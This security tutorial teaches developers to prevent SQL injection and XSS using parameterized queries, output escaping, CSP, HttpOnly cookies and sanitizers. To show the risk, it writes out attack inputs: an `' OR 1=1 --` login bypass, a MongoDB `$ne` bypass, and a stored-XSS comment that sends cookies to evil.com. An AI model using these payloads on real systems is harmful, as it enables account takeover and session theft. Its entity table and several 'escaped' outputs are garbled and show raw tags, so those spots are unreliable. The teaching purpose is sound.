In the previous tutorial, you learned about authorization and access control. Now we tackle the two most common injection attacks: SQL injection and XSS (Cross-Site Scripting).
Both fall under Injection in the OWASP Top 10 (A03 in the 2021 list, A05 in the 2025 update). Both have been around for over 20 years. And both are still in the top causes of data breaches — because developers keep making the same mistakes.
This article is about prevention, not exploitation. We show the attack so you understand the risk, then focus on how to write safe code.
Part 1: SQL Injection
What is SQL Injection?
SQL injection happens when user input is inserted directly into a SQL query. The attacker writes SQL code in an input field, and the database executes it.
The Classic Attack
Imagine a login form that checks credentials like this:
# VULNERABLE — never do this
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)
If the attacker enters this as the username:
' OR 1=1 --
The query becomes:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
OR 1=1 is always true. -- comments out the rest. The attacker is now logged in as the first user in the database — usually the admin.
Types of SQL Injection
| Type | How It Works | Difficulty |
|---|---|---|
| Classic (in-band) | Error messages or query results show data | Easy |
| Union-based | Uses UNION SELECT to extract data from other tables | Medium |
| Blind (boolean) | No error messages — attacker asks true/false questions | Medium |
| Time-based blind | No visible output — attacker measures response time | Hard |
The Fix: Parameterized Queries
The only reliable way to prevent SQL injection is to use parameterized queries (also called prepared statements). The database treats user input as data, never as SQL code.
Parameterized Queries in Go
// VULNERABLE — string concatenation
query := fmt.Sprintf("SELECT * FROM users WHERE id = %s", userID)
db.Query(query)
// SAFE — parameterized query
row := db.QueryRow("SELECT * FROM users WHERE id = $1", userID)
Parameterized Queries in Python
# VULNERABLE — string formatting
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# SAFE — parameterized query
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Parameterized Queries in JavaScript (Node.js)
// VULNERABLE — string concatenation
db.query(`SELECT * FROM users WHERE id = ${userId}`);
// SAFE — parameterized query
db.query('SELECT * FROM users WHERE id = $1', [userId]);
Parameterized Queries in Kotlin (JDBC)
// VULNERABLE — string concatenation
val query = "SELECT * FROM users WHERE id = $userId"
statement.executeQuery(query)
// SAFE — parameterized query
val stmt = connection.prepareStatement("SELECT * FROM users WHERE id = ?")
stmt.setInt(1, userId)
val result = stmt.executeQuery()
Are ORMs Safe?
Object-Relational Mappers (ORMs) like GORM (Go), SQLAlchemy (Python), Prisma (JavaScript), and Room (Android) use parameterized queries internally. They are generally safe when used correctly.
But ORMs can still be vulnerable if you use raw queries:
# SQLAlchemy — SAFE (ORM query)
user = session.query(User).filter(User.id == user_id).first()
# SQLAlchemy — VULNERABLE (raw query with string formatting)
user = session.execute(f"SELECT * FROM users WHERE id = {user_id}")
# SQLAlchemy — SAFE (raw query with parameters)
user = session.execute(
text("SELECT * FROM users WHERE id = :id"),
{"id": user_id}
)
Rule: Even with an ORM, always use parameterized queries for raw SQL.
NoSQL Injection
SQL injection is not limited to SQL databases. MongoDB and other NoSQL databases have their own injection vulnerabilities:
// VULNERABLE — MongoDB query with user input
db.users.find({ username: req.body.username, password: req.body.password });
// If attacker sends: { "username": "admin", "password": { "$ne": "" } }
// The query becomes: find where username = "admin" AND password != ""
// This bypasses the password check!
// SAFE — validate input types
const username = String(req.body.username);
const password = String(req.body.password);
db.users.find({ username, password });
Part 2: XSS (Cross-Site Scripting)
What is XSS?
XSS happens when an attacker injects JavaScript code into a web page. When other users view the page, the malicious script runs in their browser.
XSS can:
- Steal session cookies and tokens
- Redirect users to phishing sites
- Modify page content
- Capture keystrokes (passwords, credit card numbers)
The Three Types of XSS
1. Stored XSS (Persistent)
The malicious script is stored in the database and displayed to every user who views the page.
Example: An attacker writes a comment containing a script:
Great article! <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
If the application displays comments without escaping, every user who views the page sends their cookies to the attacker.
2. Reflected XSS
The malicious script is part of the URL. The server includes it in the response without escaping.
Example:
https://example.com/search?q=<script>alert('xss')</script>
If the search page displays “Results for: <script>alert('xss')</script>” without escaping, the script runs.
3. DOM-Based XSS
The vulnerability is in the client-side JavaScript. The server never sees the malicious input.
// VULNERABLE — inserting URL hash directly into the page
document.getElementById('output').innerHTML = window.location.hash.substring(1);
// Attack URL: https://example.com/#<img src=x onerror=alert('xss')>
Prevention Strategy 1: Output Encoding (Escaping)
The #1 defense against XSS is output encoding. Convert special characters to their HTML entities so they are displayed as text, not executed as code.
| Character | HTML Entity |
|---|---|
< | < |
> | > |
" | " |
' | ' |
& | & |
Output Encoding in Go
Go’s html/template package auto-escapes by default:
import "html/template"
// SAFE — html/template auto-escapes
tmpl := template.Must(template.ParseFiles("page.html"))
tmpl.Execute(w, data)
// In the template:
// <p>{{.UserComment}}</p>
// If UserComment = "<script>alert('xss')</script>"
// Output: <p><script>alert('xss')</script></p>
Warning: Go’s text/template package does NOT auto-escape. Always use html/template for web pages.
Output Encoding in Python (Jinja2)
Jinja2 (used by Flask) auto-escapes by default:
# In your template:
# <p>{{ user_comment }}</p>
# Auto-escaped to: <p><script>alert('xss')</script></p>
# DANGEROUS — disable auto-escaping
# <p>{{ user_comment | safe }}</p>
# Never use the `safe` filter with user input!
Output Encoding in JavaScript (React)
React auto-escapes by default in JSX:
// SAFE — React auto-escapes
function Comment({ text }) {
return <p>{text}</p>;
}
// If text = "<script>alert('xss')</script>"
// Renders as text, not as a script
// DANGEROUS — bypasses React's auto-escaping
function Comment({ text }) {
return <p dangerouslySetInnerHTML={{ __html: text }} />;
}
// Never use dangerouslySetInnerHTML with user input!
Prevention Strategy 2: Content Security Policy (CSP)
CSP is an HTTP header that tells the browser which sources of content are allowed. Even if an attacker injects a script, CSP can block it from running.
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
This policy says:
- Only load resources from the same origin (
'self') - Only run scripts from the same origin
- Allow inline styles (needed for some CSS frameworks)
Adding CSP in Go
func CSPMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Security-Policy",
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'")
next.ServeHTTP(w, r)
})
}
Adding CSP in Express (Node.js)
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
},
}));
Prevention Strategy 3: HttpOnly Cookies
If you store session tokens in cookies, set the HttpOnly flag. This prevents JavaScript from accessing the cookie — even if XSS runs on the page.
// Go
http.SetCookie(w, &http.Cookie{
Name: "session",
Value: sessionToken,
HttpOnly: true, // JavaScript cannot access this cookie
Secure: true, // Only sent over HTTPS
SameSite: http.SameSiteStrictMode,
})
// Express (Node.js)
res.cookie('session', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
});
Prevention Strategy 4: Input Sanitization
When you need to allow some HTML (like a rich text editor), use a sanitization library to remove dangerous tags:
// JavaScript — DOMPurify
import DOMPurify from 'dompurify';
const dirtyHtml = '<b>Hello</b><script>alert("xss")</script>';
const cleanHtml = DOMPurify.sanitize(dirtyHtml);
// Result: '<b>Hello</b>' — script tag removed
# Python — bleach
import bleach
dirty_html = '<b>Hello</b><script>alert("xss")</script>'
clean_html = bleach.clean(dirty_html, tags=['b', 'i', 'em', 'strong'])
# Result: '<b>Hello</b><script>alert("xss")</script>'
Rule: Sanitize on input, escape on output. Do both when possible.
Putting It All Together
Here is a secure Express endpoint that handles user comments — preventing both SQL injection and XSS:
const express = require('express');
const helmet = require('helmet');
const DOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const app = express();
const window = new JSDOM('').window;
const purify = DOMPurify(window);
// Security headers (including CSP)
app.use(helmet());
// Create a comment — prevents SQL injection with parameterized query
app.post('/api/comments', async (req, res) => {
const { content } = req.body;
// Sanitize HTML input
const cleanContent = purify.sanitize(content);
// Parameterized query — prevents SQL injection
await db.query(
'INSERT INTO comments (content, user_id) VALUES ($1, $2)',
[cleanContent, req.user.id]
);
res.json({ message: 'Comment created' });
});
// Display comments — output is auto-escaped by the template engine
app.get('/comments', async (req, res) => {
const comments = await db.query('SELECT * FROM comments ORDER BY created_at DESC');
res.render('comments', { comments: comments.rows });
});
Prevention Checklist
| Attack | Prevention | Priority |
|---|---|---|
| SQL Injection | Parameterized queries (prepared statements) | Critical |
| SQL Injection | Use ORM default methods, avoid raw SQL | High |
| SQL Injection | Validate input types (string, number) | Medium |
| NoSQL Injection | Validate and cast input types | High |
| Stored XSS | Output encoding / auto-escaping templates | Critical |
| Reflected XSS | Output encoding + validate URL parameters | Critical |
| DOM XSS | Avoid innerHTML, use textContent | High |
| All XSS | Content Security Policy (CSP) header | High |
| All XSS | HttpOnly + Secure + SameSite cookies | High |
| Rich text | Sanitize with DOMPurify or bleach | High |
Related Articles
- Security Tutorial #1: Web Security Basics — OWASP Top 10
- Security Tutorial #2: Authentication — Passwords, Hashing, JWT
- Security Tutorial #3: Authorization — RBAC, OAuth 2.0, OpenID Connect
- Security Tutorial #5: HTTPS and TLS — How Encryption Works
What’s Next?
In the next tutorial, we will cover HTTPS and TLS — how encryption protects data in transit between your users and your server. You will learn how the TLS handshake works, how to set up free certificates with Let’s Encrypt, and common HTTPS mistakes.